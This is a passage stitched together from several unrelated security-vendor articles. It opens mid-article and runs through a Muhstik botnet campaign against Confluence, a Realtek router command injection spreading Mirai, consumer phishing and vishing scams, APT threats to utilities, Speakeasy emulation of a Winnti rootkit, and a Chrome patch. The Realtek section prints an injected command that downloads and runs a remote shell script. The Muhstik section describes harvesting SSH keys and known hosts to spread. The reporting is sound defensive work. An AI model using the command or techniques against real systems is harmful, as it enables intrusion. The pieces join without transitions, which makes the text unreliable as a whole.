The attack will download a file shell script, conf2 from 192.31.52.174 and will execute it with bash.
The script will download the additional binaries dk86 and dk32 from 194.131.52.174 and save them in the temp directory.
Additionally, it will download another script, ldm , from 18.235.127.50 .
Inside conf2 bash script Dk86 is the 64-bit version of the Muhstik bot and Dk32 is the 32-bit version.
Muhstik bot connects to an IRC server to receive commands which include the following: Download files Shell commands Flood attacks SSH brute force Functions inside Muhstik bot binary The ldm script is another bash script which has functions to download additional scripts and binaries via the following TOR links.
https://bvprzqhoz7j2ltin[.
]onion https://bvprzqhoz7j2ltin[.
]tor2web.su/ https://bvprzqhoz7j2ltin[.
]onion.ly/ https://bvprzqhoz7j2ltin[.
]onion.ws/
Unfortunately, those links were offline during our investigation.
ldm script dowloads “main” file
The “ ldm ” script also has a function to execute remote commands on hosts that it can access via SSH.
It enumerates the users in the host via the “ /home ” directory.
It enumerates the ssh keys by looking into the files: /home/*/.ssh/config /root/.ssh/config “*.pem” file in each home or root folder id_rsa
* in each home or root folder It also enumerates hosts by: Checking for “Hostname” in .ssh/config file Look into .bash_history file for commands with ssh or scp Look for IPs in .ssh/known/hosts It uses all this information to execute a command to download shell scripts, 3sh or 1sh from 34.221.40.237 .
This script will download a version of the Muhstik bots, pty1 .. pty10 and the ldm script.
Routine of “ldm” script to execute remote commands via SSH Contents of 1sh shell script to download Muhstik bot and ldm Censys has been tracking vulnerable Confluence servers.
According to their report, there were 11,689 vulnerable Confluence servers on Sep 2, 2021.
This number was reduced to 8,597 on Sep 4, 2021 which shows that people are trying to take action about this serious vulnerability.
We recommend that customers upgrade and patch their confluence servers immediately.
The malicious requests exploiting CVE-2021-26084 are detected by Juniper’s NGFW SRX series with IDP signatures HTTP:
APACHE:STRUTS2-OGNL-INJ and HTTP:
CTS:CONFLUENCE-DC-OGNL-INJ.
Juniper Advanced Threat Prevention Cloud detects the Muhstik bot as follows.
Indicators of Compromise 192[.
]31.52.174 34[.
]221.40.237 157[.
]230.189.52 18[.
]235.127.50 fe98548300025a46de1e06b94252af601a215b985dad31353596af3c1813efb0 *dk32 0e574fd30e806fe4298b3cbccb8d1089454f42f52892f87554325cb352646049
*dk86 39db1c54c3cc6ae73a09dd0a9e727873c84217e8f3f00e357785fba710f98129 *ldm a91dffe65048e39dfe1fd8da0b0dac11807718cdd5efedf4206a18af78779b0a *conf2 http://194[.
]31.52.174/dk86 http://194[.
]31.52.174/dk32 http://34[.
]221.40.237/.x/pty1 http://34[.
]221.40.237/.x/pty2 http://34[.
]221.40.237/.x/pty10 http://34[.
]221.40.237/.x/pty11 http://34[.
]221.40.237/.x/pty3 http://34[.
]221.40.237/.x/pty5 http://34[.
]221.40.237/.x/pty4 http://34[.
]221.40.237/.x/pty3 http://34[.
]221.40.237/.x/pty3 http://157[.
]230.189.52/wp-content/themes/twentynineteen/ldm http://18[.
]235.127.50/ldm https://bvprzqhoz7j2ltin[.
]onion https://bvprzqhoz7j2ltin[.
]tor2web.su/ https://bvprzqhoz7j2ltin[.
]onion.ly/
https://bvprzqhoz7j2ltin[.
]onion.ws/
With the colossal amount of telephone scamming these days, you’d be hard-pressed to find a phone owner anywhere on the planet who hasn’t been a scammer’s target at least once .
But like all forms of cold calling, phone scams are resource-intensive and highly inefficient.
Therefore, some scammers try to optimize the process by getting potential victims to call them.
One tool they use is good old-fashioned spam.
“If you didn’t make this purchase, please call us” We recently detected several waves of spam e-mails, seemingly from reputable companies, notifying recipients of substantial purchases.
The item in question is usually a high-end device such as the latest Apple Watch or a gaming laptop purchased from Amazon or paid for through PayPal.
Fake PayPal/Amazon purchase confirmations with vishing phone numbers Other, more exotic variants crop up from time to time.
For example, we detected an e-mail about the purchase of $1,999 worth of “Cryptocurrency (Bitcoin)”:
Fake PayPal notification, including the scammers’ phone number, of a “Cryptocurrency (Bitcoin)”
purchase Other, similar notifications mention the purchase of security software licenses — we’ve seen some referring to Norton and even Kaspersky (although our product lineup has never included a “Kaspersky Total Protection.”)
Fake notifications about the purchase of Norton and “Kaspersky Total Protection” licenses with vishing phone numbers The scam relies on recipients being so alarmed by the not-insubstantial loss that they will act rashly, hoping to get their money back.
Of course, their money hasn’t gone anywhere — at least, not yet.
This particular strain of spam e-mails contain no links, but they do include a phone number that the victim is asked to call if they want to change or cancel the order.
Sometimes the number sits unobtrusively somewhere at the bottom of the text.
Other times it is highlighted in red and repeated several times in the message.
What happens if you call?
Most likely the scammers will try to wangle your login credentials for some financial service or bank card details.
Alternatively, they might try to trick you into transferring money or even installing a Trojan on your computer, which has been known to happen .
The only limits are the scammers’ imagination and vishing skills.
How to guard against such e-mails The particulars may change, but all scams have certain elements in common: the use of some sort of trick to get someone to do something.
Vishing is no different.
Follow these guidelines for safety: Do not call back; Log in to your account with the service in question — type the address into your browser; don’t click on any links in the message — and check your orders or recent activity page; Check your balance and the list of recent transactions on all of your cards, if you have reason for concern; Install a reliable antivirus utility with protection against financial attacks, phishing, and online fraud.
Juniper Threat Labs has detected that the threat actors that we recently observed exploiting CVE-2021-20090 are now actively exploiting CVE-2021-35394 , a vulnerability disclosed last week by IoT Inspector Research Lab .
This attack targets the Realtek RTL8xxx SoC chipsets that are used in many embedded devices, particularly wireless routers.
At the time of this writing, all of the download servers used in this campaign are online and the attacks are ongoing.
The Attack One of the Realtek vulnerabilities disclosed last week concerns a UDP server running on port 9034.
In 2015, Peter Adkins found that certain D-Link routers were running a UDP server that allowed remote execution of arbitrary commands .
This vulnerability was ostensibly patched, but IoT Inspector Research Lab found that the fix was simply to verify that all command strings had the prefix “orf”.
This mitigation is easily circumvented by prepending “orf;” to any injected command string: orf;malicious_command Exploits require only a single UDP packet from the attacker.
Each observed variant of this attack follows the same steps.
First, the attackers use the open UDP server to inject a shell command: Figure 1.
UDP Packet sent by attacker The injected command, seen in the data field above, is: orf;cd /tmp||cd /var&&busybox
wget hxxp://45[.
]61.188.184/f.sh -O b.sh&&sh b.sh;# The invalid “orf” command is ignored and a shell script is downloaded, renamed and executed.
The following is an example of these shell scripts: Figure 2.
One of the shell scripts used in the command injection This script attempts to download and run binary executables on the compromised host.
Targeted architectures include: ARM (v5 and v7) MIPS (both big- and little-endian) SuperH
The downloaded executables are variants of Mirai and turn the target computer into a remotely controllable bot in the threat actors’ botnet.
We have observed an overlap between the IP addresses in this campaign and those in the campaign described in a recent Juniper Threat Labs blog post .
However, unlike the previous attacks over HTTP, the connectionless nature of UDP allows the threat actors to launch more attacks with fewer resources.
Other Vulnerabilities This discovery follows SAM Seamless Network’s blog post last week on these threat actors exploiting another Realtek vulnerability disclosed by IoT Inspector Research Lab.
As many Realtek RTL8xxx-based devices remain unpatched, we expect to see continuing attacks as more of these vulnerabilities are weaponized.
Detection This attack is detected on Juniper SRX devices as APP:
MISC:REALTEK-JUNGLE-SDK-CI.
The malicious files and servers used in this attack are blocked by the Juniper Advanced Threat Protection products.
Figure 3.
Detection by Juniper ATP Cloud IOCs Files:\r\ndaef5417dd163c2d2600382a484b36f594378d909ce54e5348b0c7dd1326c57d  r\r\n1ce6590f632d1b37c77feefe60ef632c315357ddde632c0a0aab78c69616a5b4  f.sh\r\n0018e361be72a44b7b38bbecfede8d571418e56d4d62a8e186991bef322a0c16  b.arm5\r\n171961046ee6d18424cf466ad7e01096aecf48ed602d8725e6563ad8c61f1115
b.arm7\r\n924b6aec8aa5935e27673ee96d43dd0d1b60f044383b558e3f66cd4331f17ef4
b.mips\r\n98fc6b2cbd04362dc10a5445c00c23c2a2cb39d24d91beab3c200f87bfd889ab  b.mpsl\r\n9bdb7d4778261bb34df931b41d32ee9188d0c7a7e10d4d68d56f6faebd047fe4  b.sh4\r\n555ae4193c53af15bdcd82d534ed5f13fcc96c16c59b9e8072b5b122c6df8d4a  fbot.mips\r\n2bfca0726b9109ab675e6bdbe0fb81e80fbf7ee6af2f129672569e5476e57b47  fbot.mpsl
Attackers:\r\n45[.]137.23.190\r\n185[.]222.59.5\r\n103[.]145.13.80\r\n103[.
]145.13.25\r\n\r\nDownload servers:\r\n45[.]61.188.184\r\n37[.
]0.11.132
There's often a lot of rhetoric in the press and in the security community around threats to the utilities industry, and risk exposure surrounding critical infrastructure.
We've determined that the utilities industry (power, water, waste) has been, and likely will continue to be, a target for cyber espionage primarily from Chinese APT groups.
We also anticipate that U.S. utilities infrastructure is vulnerable to computer network attack (CNA) from a variety of threat actors motivated by a desire to disrupt, deny access, or destroy.
It's important to recognize the difference between actors seeking to steal data or intellectual property, and actors seeking to destroy systems or cause mass destruction.
Often the distinction between computer network exploitation (CNE) and CNA gets lost in media coverage that bundles diverse cyber activity together.
The type of cyber activity has implications for how we tackle the problem, thus it's key to distinguish.
As part of our incident response and managed defense work, Mandiant has observed Chinese APT groups exploiting the computer networks of U.S. utilities enterprises servicing or providing electric power to U.S. consumers, industry, and government.
The most likely targeted information for data theft in this industry includes smart grid technologies, water and waste management expertise, and negotiations information related to existing or pending deals involving Western utilities companies operating in China.
Why would Chinese APT Groups Seek to Exploit Utilities?
Since 2010, Mandiant has responded to what we assessed were Chinese cyber espionage incidents occurring at multiple utilities companies involved in electric power generation.
We recognize the PRC's utilities sector for electric power development, construction, operations, and distribution is heavily concentrated on a select few state-owned enterprises (SOE) with close ties to the central government.
We suspect these relationships provide APT groups with a fundamental incentive to conduct espionage to attain advanced technology and operations expertise.
By way of possible motivation, the PRC is in the midst of a historic makeover that involves the transformation of urban infrastructures, which, by 2025, is likely to produce 15 mega-cities with an average of 25 million inhabitants, or about the entire population of the United States.
[i] The impacts from this transition are intensifying pressures on an already fragile and outdated utilities infrastructure in China that currently struggles to provide sufficient electric power, water, and waste treatment.
We believe APT groups are stealing data that will allow them to improve historic PRC urbanization efforts and the modernization of infrastructure, which is receiving billions of government investment dollars for development.
While we have tracked multiple attributed Chinese APT groups active in the utilities industries, we certainly don't discount that other, non-Chinese state-sponsored (or independent) actors could be engaged in data theft related to utilities.
The Risk of Disruptive Cyber Attacks Computer network attacks (CNA) - that is, offensive cyber operations meant to disrupt or destroy-are also a threat to the utilities industry from state actors in times of major conflict.
Perpetrators may include hostile adversaries, possibly nation-states, during times of escalated tensions, or terrorist operatives who gain the required expertise.
The threat of a state-sponsored actor or proxy targeting this industry using CNA is a growing concern, particularly in the case of Iran, though wide-scale data theft is the primary type of threat we've observed to this point.
Several large US news outlets did recently report that Iranian-based actors infiltrated some of the US' industrial control systems, however, and some have speculated their motivation in doing so was to map the network or identify resources for future attack scenarios.
For more intelligence reporting and specific details related to data theft in the utilities industry, the involved actors, and other threats, consider subscribing to the Mandiant Intelligence Center .
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Since the advent of cryptocurrency, scammers of every stripe have sought to get rich from stealing virtual coins.
With cybercriminals duping both buyers of mining equipment and cryptoinvestors , we spotlight a scam targeting users of the Luno cryptoexchange.
About Luno The Luno cryptocurrency exchange has been in existence since 2013, and today it serves more than 5 million clients in 40 countries.
Luno’s primary focus is on emerging markets, allowing users from countries such as Singapore, Malaysia, Indonesia, South Africa, and Nigeria to purchase tokens with local currency.
Luno is a centralized exchange (CEX), meaning clients’ cryptowallet keys are stored on the exchange.
Typically, such sites are well protected against hacking and leakage.
However, account protection becomes much harder when owners spill their credentials to cybercriminals.
A simple phishing scheme The attackers who targeted Luno did not reinvent the wheel.
Rather, they employed the tried-and-true method of playing on people’s desire for free cryptocurrency, sending potential victims e-mail messages, seemingly from the Luno team, saying that an incoming payment has been “placed on hold due to error(s)” in their profile data.
The message includes a link for users to follow and solve the problem.
Fake incoming transfer notification with link — just not to Luno As per usual with a phishing attack, the scammers forged the sender’s address, making the message look plausible.
The strange address of the link lurking under the button, which looks nothing like luno.com and is located in the .ar domain zone (Argentina), might arouse suspicion.
If the victim doesn’t notice this discrepancy and simply clicks, the link takes them through a chain of redirects to an illegitimate Luno login page.
The fake resource is very similar in design to the real Luno site, but the cybercriminals did not even try to disguise the URL, apparently counting on user carelessness.
The fake login page looks like the real one, although with an entirely different URL To keep the cryptoinvestor victim from suspecting anything is amiss, the scammers even set strict security requirements.
For example, to log in to the fake site, you need to enter a strong password with the same strict requirements as the official platform.
The password requirements on the fake exchange are as strict as on the real Luno site Next, if the victim enters their credentials and tries to log in, the screen will display a 403 Forbidden error, and that’s it, the attackers now have the password — and access to the victim’s cryptocurrency.
Error message on the fake exchange How to guard against cryptophishing Phishing remains a viable method of stealing accounts and money on cryptocurrency platforms.
That said, knowing a few simple rules will help minimize the risk of getting hooked.
Be vigilant.
Unexpected messages about large transfers, gifts, and winnings are nearly always a trick; Carefully check the URL in the address bar before entering credentials.
Website spoofing is a common phishing technique; Don’t trust links in e-mails.
Instead, bookmark the URLs of cryptocurrency wallets, exchanges, and other important services, and open them using your bookmarks; Use a unique password for each cryptocurrency service (and for all other sites and services as well) so that a hack or data leak on one resource won’t affect your other accounts; Install a reliable antivirus solution to protect against phishing.
For example, Kaspersky Internet Security ‘s built-in antiphishing and antifraud modules warn users about potentially dangerous sites in good time.
The pandemic has left tens of millions of people around the world effectively jobless, and scammers, never ones to miss an opening, have been targeting freelancers and job seekers more frequently.
Today, we look at an unusually sophisticated scam aimed at artists and designers.
Job hunting on ArtStation
The story begins with ArtStation, a site where artists publish their portfolios in categories such as game art, anime, comics, media, and film production.
It is normal for site users to receive personal e-mails from potential customers.
Since last year, however, ArtStation freelancers have found themselves targeted by highly professional cybercriminals posing as employees of major game developers including 2K, Big Fish, Bluepoint, and Riot Games.
The story of a scam One user, a US-based concept artist, received what looked like an invitation for an interview with 2K, publisher of such titles as BioShock, Mafia, Sid Meier’s Civilization, NBA 2K , and Borderlands .
The position came with a good salary and the option to work remotely.
The e-mail was well crafted and included many details that are usually indicative of an HR professional.
Fake e-mail about a work-from-home job The contractor carefully studied the message, which looked nothing like ordinary spam.
Even the sender’s domain appeared legitimate: @2kgamesjobs.com.
In between the terms of employment and links to LinkedIn profiles, the alleged employer stated that the interview would be held on Telegram and included a link to download and install the app.
The artist downloaded the messaging app and contacted the alleged recruiter.
At this point most scammers would pivot straight to extortion, but these ones remained in character for quite a while longer.
They conducted a long and in-depth interview with the artist, but not over a video or even voice call, which is what we’d expect from a legitimate company, but rather in text using Telegram’s secret chat mode .
Still, not for one second did the artist get the sense it was all a sham.
The fake recruiter’s questions required professional knowledge of perspective, color theory, and shading.
The test seemed real, and the artist was relieved to pass it.
Now all that stood between the artist and the perfect job was a couple of formal procedures: some software and hardware requirements including a MacBook Pro with certain specs, a graphic-design package, a screen-calibration tool, and a time-tracking system — nothing implausible, but the equipment had to be purchased from a particular vendor.
In return, the artist could expect an advance payment check.
However, the mandatory purchase of equipment was enough to make the artist suspect that something was amiss.
The artist found a warning on 2K’s website about “bad actors posing as company HR personnel” and stopped communicating with the scammers.
That was the end of the story for this artist, but not all targets were as vigilant.
Denouement If the artist had continued to communicate with the fraudsters after the phony interview, they would indeed receive a check, which would appear to come from 2K’s finance department and be delivered by a real FedEx courier, which again shows how much effort the scammers put into the operation.
The check looks real, but it’s fake However, the check does not stand up to scrutiny.
It looks real; the lettering on the stub even suggests the presence of a watermark on the back.
But it’s just a piece of paper printed on an ordinary color printer.
The scammers try to time its arrival for late on a Friday afternoon so the recipient won’t have time to go to the bank and verify its authenticity.
The timing may be linked to something more, however.
Checks go through a process called clearing , which can take several days.
Most banks do not work on weekends, so the scammers figure the new “employee” will simply pay for the equipment out of their own pocket that very weekend, assuming the check will clear.
If the victim confirms their willingness to do so, the attackers reveal the identity of their authorized supplier, which turns out to be an individual with a Venmo or Zelle account, two US money transfer services.
The bogus recruitment scheme is designed to get the jobseeker to send to this unknown party a sum equal to the cost of a MacBook and other “required software and equipment” — more than US$3,500 in total.
How to protect yourself The scheme is big enough for the implicated companies to draw attention to it.
ArtStation, for its part, posted an in-depth article about the scam.
Some game developers and publishers have also posted warnings on their websites for potential candidates.
Some studios warn artists to be careful Here are some tips to help you avoid falling victim to this kind of scam: Limit job searches to official sources.
ArtStation’s job board , for example, shows only vetted listings.
Be wary of offers to discuss a job or hold an interview in secret chats, in which messages are encrypted and cannot be forwarded, and which alert participants if anyone takes a screenshot.
Check contact information on companies’ official websites, which usually provide addresses and communication channels for HR personnel.
If necessary, e-mail a general inquiry to the company asking if the person who contacted you actually works there.
Use a reliable security solution with fraud and phishing protection.
Recent years have seen ransomware grow from an abstract curiosity into a major problem anyone can face — and that hundreds of thousands of people already have .
Now a mass industry , ransomware even shows a division of labor, with some criminals writing malicious code and others selecting targets and using the code to infect them, earning a percentage of the ransom.
In the past couple of years, ransomers have focused increasingly on organizations, but that does not mean ordinary users are in the clear — people still get hit, sometimes even by accident.
If you don’t want to lose your photos, documents, and other files, you cannot avoid picking up a few antiransomware skills and habits.
What is ransomware?
Ransomware is malware that searches a hard drive for user-valuable information (such as documents, tables, images, and databases) and encrypts everything it finds, locking the files.
Next, the ransomware displays a message demanding payment to restore the data.
If the victim pays, one of several scenarios may play out:
Sometimes the attackers actually send the decryption key with instructions; Some attackers simply take the victim’s money and vanish;
In some cases, the cybercriminals cannot recover the data even if they want to — some ransomware damages files irrevocably.
Ransomware can get onto your computer in a variety of ways.
For example, you might plug in an infected flash drive or download something from a shady website.
E-mails with dangerous attachments or links to malicious sites are the most common sources of infection.
Perhaps the most unpleasant aspect of many ransomware programs is their ability to spread across devices on the same network.
That means if your home desktop picks up malware, you can expect an attack on your laptop as well.
And one piece of ransomware on a work device can bring all corporate communications to a standstill.
What to do if your data gets encrypted If your data gets encrypted, don’t panic.
It’s a bad situation, but you may still be able to recover your files : Do not pay.
Each ransom payment represents a financial contribution to malware development and a signal to the cybercriminals that the scheme is profitable.
And it may not work — you may get nothing even if you comply.
Use the Crypto Sheriff service on the No More Ransom website to find out what malware has infected your drive.
A decryptor may already exist for it, in which case you can use it to recover your data without spending a dime.
No More Ransom , which is supported by Europol and various anticybercrime companies, hosts dozens of decryptors.
If you’re unable to find a decryptor for the ransomware that attacked you, keep checking; one might be released any day.
How to stay safe from ransomware Now that you know the enemy, it’s time to learn a few information hygiene rules that can help you avoid ransomware.
1.
Make backups Regularly save important files and documents to a cloud storage and to an external hard drive.
You can limit photo backups to once a week or even every month, but be sure to back up important, current documents every few days or even daily.
Backing up your files doesn’t have to be a chore: See our guide to automatic backup .
However you decide to back up your data, don’t delay.
Having a backup in the event of a ransomware attack — or if the cat walks across the keyboard and deletes your report — means you don’t have to lose any work.
For a successful backup, don’t forget a few important rules: Connect the backup hard drive only when you’re writing to or reading from it.
Any drive connected to the computer at the time of a ransomware attack will be encrypted as well.
Protect access to cloud storage with a strong password and two-factor authentication.
2.
Be careful with messages E-mail attachments and infected websites are the most common hiding places for ransomware Trojans, so treat all unexpected e-mails and messages as potential sources of danger.
What makes a message suspicious, though?
It’s a gray area requiring consideration and judgment.
Make sure you know the sender.
Treat content, attachments and links in e-mails from strangers with the utmost skepticism.
This applies to messages in messaging apps, social networks, and forums as well.
If you have any concerns , consign the message to your spam folder, especially if it promises unexpected payouts.
To encounter such messages less often, configure spam filtering and mail traffic scanning in your security solution.
If you receive a suspicious link or file that you weren’t expecting from someone you do know, contact them by phone or in another format; their account or mailbox may have been compromised.
3.
Avoid suspicious websites Not limiting themselves to links in e-mails, cybercriminals employ a formidable array of tricks to dupe victims into downloading malware.
If clicking on a banner results in an unexpected Web resource appearing, or the screen prompting you to download something, close the page immediately.
You are very likely seeing an infection attempt.
4.
Update software in a timely manner To penetrate devices, cybercriminals often exploit known vulnerabilities that developers have already patched.
Anyone who doesn’t update their software regularly is at particular risk.
Turn on automatic updates wherever possible, and regularly check for updates for apps that don’t update automatically.
5.
Install a security solution Modern security solutions can identify and block malware in real time.
For example, Kaspersky Internet Security includes a range of tools to protect users against ransomware.
Even in the unlikely event that a particularly cunning piece of malware makes it past file antivirus protection, it won’t be able to do much: Kaspersky Internet Security analyzes the actions of running apps and blocks attempts to encrypt files or rolls back the actions of malicious programs if they manage to damage any data.
In August 2020, we released a blog post about how the Speakeasy emulation framework can be used to emulate user mode malware such as shellcode.
If you haven’t had a chance, give the post a read today .
In addition to user mode emulation, Speakeasy also supports emulation of kernel mode Windows binaries.
When malware authors employ kernel mode malware, it will often be in the form of a device driver whose end goal is total compromise of an infected system.
The malware most often doesn’t interact with hardware and instead leverages kernel mode to fully compromise the system and remain hidden.
Challenges With Dynamically Analyzing Kernel Malware
Ideally, a kernel mode sample can be reversed statically using tools such as disassemblers.
However, binary packers just as easily obfuscate kernel malware as they do user mode samples.
Additionally, static analysis is often expensive and time consuming.
If our goal is to automatically analyze many variants of the same malware family, it makes sense to dynamically analyze malicious driver samples.
Dynamic analysis of kernel mode malware can be more involved than with user mode samples.
In order to debug kernel malware, a proper environment needs to be created.
This usually involves setting up two separate virtual machines as debugger and debugee.
The malware can then be loaded as an on-demand kernel service where the driver can be debugged remotely with a tool such as WinDbg.
Several sandbox style applications exist that use hooking or other monitoring techniques but typically target user mode applications.
Having similar sandbox monitoring work for kernel mode code would require deep system level hooks that would likely produce significant noise.
Driver Emulation Emulation has proven to be an effective analysis technique for malicious drivers.
No custom setup is required, and drivers can be emulated at scale.
In addition, maximum code coverage is easier to achieve than in a sandbox environment.
Often, rootkits may expose malicious functionality via I/O request packet (IRP) handlers (or other callbacks).
On a normal Windows system these routines are executed when other applications or devices send input/output requests to the driver.
This includes common tasks such as reading, writing, or sending device I/O control (IOCTLs) to a driver to execute some type of functionality.
Using emulation, these entry points can be called directly with doped IRP packets in order to identify as much functionality as possible in the rootkit.
As we discussed in the first Speakeasy blog post, additional entry points are emulated as they are discovered.
A driver’s DriverMain entry point is responsible for initializing a function dispatch table that is called to handle I/O requests.
Speakeasy will attempt to emulate each of these functions after the main entry point has completed by supplying a dummy IRP.
Additionally, any system threads or work items that are created are sequentially emulated in order to get as much code coverage as possible.
Emulating a Kernel Mode Implant
In this blog post, we will show an example of Speakeasy’s effectiveness at emulating a real kernel mode implant family publicly named Winnti.
This sample was chosen despite its age because it transparently implements some classic rootkit functionality.
The goal of this post is not to discuss the analysis of the malware itself as it is fairly antiquated.
Rather, we will focus on the events that are captured during emulation.
The Winnti sample we will be analyzing has SHA256 hash c465238c9da9c5ea5994fe9faf1b5835767210132db0ce9a79cb1195851a36fb and the original file name tcprelay.sys .
For most of this post, we will be examining the emulation report generated by Speakeasy.
Note: many techniques employed by this 32-bit rootkit will not work on modern 64-bit versions of Windows due to Kernel Patch Protection (PatchGuard) which protects against modification of critical kernel data structures.
To start, we will instruct Speakeasy to emulate the kernel driver using the command line shown in Figure 1.
We instruct Speakeasy to create a full memory dump (using the “-d” flag) so we can acquire memory later.
We supply the memory tracing flag (“-m”) which will log all memory reads and writes performed by the malware.
This is useful for detecting things like hooking and direct kernel object manipulation (DKOM).
Figure 1: Command line used to emulate the malicious driver Speakeasy will then begin emulating the malware’s DriverEntry function.
The entry point of a driver is responsible for setting up passive callback routines that will service user mode
I/O requests as well as callbacks used for device addition, removal, and unloading.
Reviewing the emulation report for the malware’s DriverEntry function (identified in the JSON report with an “ep_type” of “entry_point”), shows that the malware finds the base address of the Windows kernel.
The malware does this by using the ZwQuerySystemInformation API to locate the base address for all kernel modules and then looking for one named “ntoskrnl.exe”.
The malware then manually finds the address of the PsCreateSystemThread API.
This is then used to spin up a system thread to perform its actual functionality.
Figure 2 shows the APIs called from the malware's entry point.
Figure 2: Key functionality in the tcprelay.sys entry point Hiding the Driver Object
The malware attempts to hide itself before executing its main system thread.
The malware first looks up the “DriverSection” field in its own DRIVER_OBJECT structure.
This field holds a linked list containing all loaded kernel modules and the malware attempts to unlink itself to hide from APIs that list loaded drivers.
In the “mem_access” field in the Speakeasy report shown in Figure 3, we can see two memory writes to the DriverSection entries before and after itself which will remove itself from the linked list.
Figure 3:
Memory write events representing the tcprelay.sys malware attempting to unlink itself in order to hide As noted in the original Speakeasy blog post , when threads or other dynamic entry points are created at runtime, the framework will follow them for emulation.
In this case, the malware created a system thread and Speakeasy automatically emulated it.
Moving on to the newly created thread (identified by an “ep_type” of “system_thread”), we can see the malware begin its real functionality.
The malware begins by enumerating all running processes on the host, looking for the service controller process named services.exe.
It's important to note that the process listing that gets returned to the emulated samples is configurable via JSON config files supplied at runtime.
For more information on these configuration options please see the Speakeasy README on our GitHub repository .
An example of this configurable process listing is shown in Figure 4.
Figure 4:
Process listing configuration field supplied to Speakeasy Pivoting to User Mode
Once the malware locates the services.exe process, it will attach to its process context and begin inspecting user mode memory in order to locate the addresses of exported user mode functions.
The malware does this so it can later inject an encoded, memory-resident DLL into the services.exe process.
Figure 5 shows the APIs used by the rootkit to resolve its user mode exports.
Figure 5: Logged APIs used by tcprelay.sys rootkit to resolve exports for its user mode implant
Once the exported functions are resolved, the rootkit is ready to inject the user mode DLL component.
Next, the malware manually copies the in-memory DLL into the services.exe process address space.
These memory write events are captured and shown in Figure 6.
Figure 6:
Memory write events captured while copying the user mode implant into services.exe A common technique that rootkits use to execute user mode code involves a Windows feature known as Asynchronous Procedure Calls (APC).
APCs are functions that execute asynchronously within the context of a supplied thread.
Using APCs allows kernel mode applications to queue code to run within a thread’s user mode context.
Malware often wants to inject into user mode since much of the common functionality (such as network communication) within Windows can be more easily accessed.
In addition, by running in user mode, there is less risk of being detected in the event of faulty code bug-checking the entire machine.
In order to queue an APC to fire in user mode, the malware must locate a thread in an “alertable” state.
Threads are said to be alertable when they relinquish their execution quantum to the kernel thread scheduler and notify the kernel that they are able to dispatch APCs.
The malware searches for threads within the services.exe process and once it detects one that’s alertable it will allocate memory for the DLL to inject then queue an APC to execute it.
Speakeasy emulates all kernel structures involved in this process, specifically the executive thread object ( ETHREAD ) structures that are allocated for every thread on a Windows system.
Malware may attempt to grovel through this opaque structure to identify when a thread’s alertable flag is set (and therefore a valid candidate for an APC).
Figure 7 shows the memory read event that was logged when the Winnti malware manually parsed an ETHREAD structure in the services.exe process to confirm it was alertable.
At the time of this writing, all threads within the emulator present themselves as alertable by default.
Figure 7: Event logged when the tcprelay.sys malware confirmed a thread was alertable
Next, the malware can execute any user mode code it wants using this thread object.
The undocumented functions KeInitializeApc and KeInsertQueueApc will initialize and execute a user mode APC respectively.
Figure 8 shows the API set that the malware uses to inject a user mode module into the services.exe process.
The malware executes a shellcode stub as the target of the APC that will then execute a loader for the injected DLL.
All of this can be recovered from the memory dump package and analyzed later.
Figure 8: Logged APIs used by tcprelay.sys rootkit to inject into user mode via an APC Network Hooks After injecting into user mode, the kernel component will attempt to install network obfuscation hooks (presumably to hide the user mode implant).
Speakeasy tracks and tags all memory within the emulation space.
In the context of kernel mode emulation, this includes all kernel objects (e.g.
Driver and Device objects, and the kernel modules themselves).
Immediately after we observe the malware inject its user mode implant, we see it begin to attempt to hook kernel components.
This was confirmed during static analysis to be used for network hiding.
The memory access section of the emulation report reveals that the malware modified the netio.sys driver, specifically code within the exported function named NsiEnumerateObjectsAllParametersEx .
This function is ultimately called when a user on the system runs the “netstat” command and it is likely that the malware is hooking this function in order to hide connected network ports on the infected system.
This inline hook was identified by the event captured in Figure 9.
Figure 9:
Inline function hook set by the malware to hide network connections In addition, the malware hooks the Tcpip driver object in order to accomplish additional network hiding.
Specifically, the malware hooks the IRP_MJ_DEVICE_CONTROL handler for the Tcpip driver.
User mode code may send IOCTL codes to this function when querying for active connections.
This type of hook can be easily identified with Speakeasy by looking for memory writes to critical kernel objects as shown in Figure 10.
Figure 10:
Memory write event used to hook the Tcpip network driver System Service Dispatch Table Hooks
Finally, the rootkit will attempt to hide itself using the nearly ancient technique of system service dispatch table (SSDT) patching.
Speakeasy allocates a fake SSDT so malware can interact with it.
The SSDT is a function table that exposes kernel functionality to user mode code.
The event in Figure 11 shows that the SSDT structure was modified at runtime.
Figure 11:
SSDT hook detected by Speakeasy If we look at the malware in IDA Pro, we can confirm that the malware patches the SSDT entry for the ZwQueryDirectoryFile and ZwEnumerateKey APIs that it uses to hide itself from file system and registry analysis.
The SSDT patch function is shown in Figure 12.
Figure 12:
File hiding SSDT patching function shown in IDA Pro After setting up these hooks, the system thread will exit.
The other entry points (such as the IRP handlers and DriverUnload routines) in the driver are less interesting and contain mostly boilerplate driver code.
Acquiring the Injected User Mode Implant Now that we have a good idea what the driver does to hide itself on the system, we can use the memory dumps created by Speakeasy to acquire the injected DLL discussed earlier.
Opening the zip file we created at emulation time, we can find the memory tag referenced in Figure 6.
We quickly confirm the memory block has a valid PE header and it successfully loads into IDA Pro as shown in Figure 13.
Figure 13:
Injected user mode DLL recovered from Speakeasy memory dump Conclusion In this blog post, we discussed how Speakeasy can be effective at automatically identifying rootkit activity from the kernel mode binary.
Speakeasy can be used to quickly triage kernel binaries that may otherwise be difficult to dynamically analyze.
For more information and to check out the code, head over to our GitHub repository .
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Google has fixed 28 vulnerabilities by releasing update 100.0.4896.60 for its Chrome browser.
At least 9 of them have a high severity rating — adding to CVE-2022-1096, another high severity vulnerability which Google patched with a separate update just a few days ago.
So in total, the Chrome developers have released patches for 10 high severity vulnerabilities in less than a week.
In other words, if you have not rebooted your computer for quite some time or did not restart your browser recently, then it’s time to update.
CVE-2022-1096 vulnerability So far Google has not published details about any of the vulnerabilities — as per the company’s security policy, access to a detailed description of the bugs remains restricted until the majority of active users update their browser.
But it is already clear that it is the CVE-2022-1096 vulnerability (the one that Google closed with a separate patch on Friday, March 25, just four days before the major update) that may cause real problems.
CVE-2022-1096 belongs to the Type Confusion class, that means it is connected to some error in data types handling in the V8 engine.
The vulnerability is pretty dangerous, judging by the fact that Google addressed this bug separately with an emergency patch.
What’s more, according to the patch release notes, Google was aware that an exploit for this vulnerability already existed on March 25.
The next day, Microsoft fixed the same vulnerability in its Chromium-based Edge browser.
Summing up the available information, it is reasonable to assume that an exploit for the vulnerability not only exists, but is actively being used by attackers.
